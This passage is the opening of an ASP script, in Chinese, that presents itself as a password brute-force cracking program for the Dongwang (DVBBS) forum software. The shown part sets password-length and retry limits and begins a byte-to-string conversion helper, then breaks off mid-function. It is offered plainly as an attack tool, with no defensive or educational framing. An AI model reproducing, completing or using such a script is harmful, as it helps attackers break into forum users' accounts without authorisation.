动网论坛密码暴力破解程序代码

<% 
response.buffer=false 
'为防止程序陷入死循环，初始化一些最大重试值 
Dim MaxPassLen,MaxPassAsc 
MaxPassLen=20 '密码最大长度 
MaxPassAsc=20

'==== 字符转换 
Function bytes2BSTR(vIn) 
strReturn = "" 
For j = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn,j,1)) 
If ThisCharCode < &H80 Then 
strReturn = strReturn & Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn,j+1,1)) 
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
j = j + 1 
E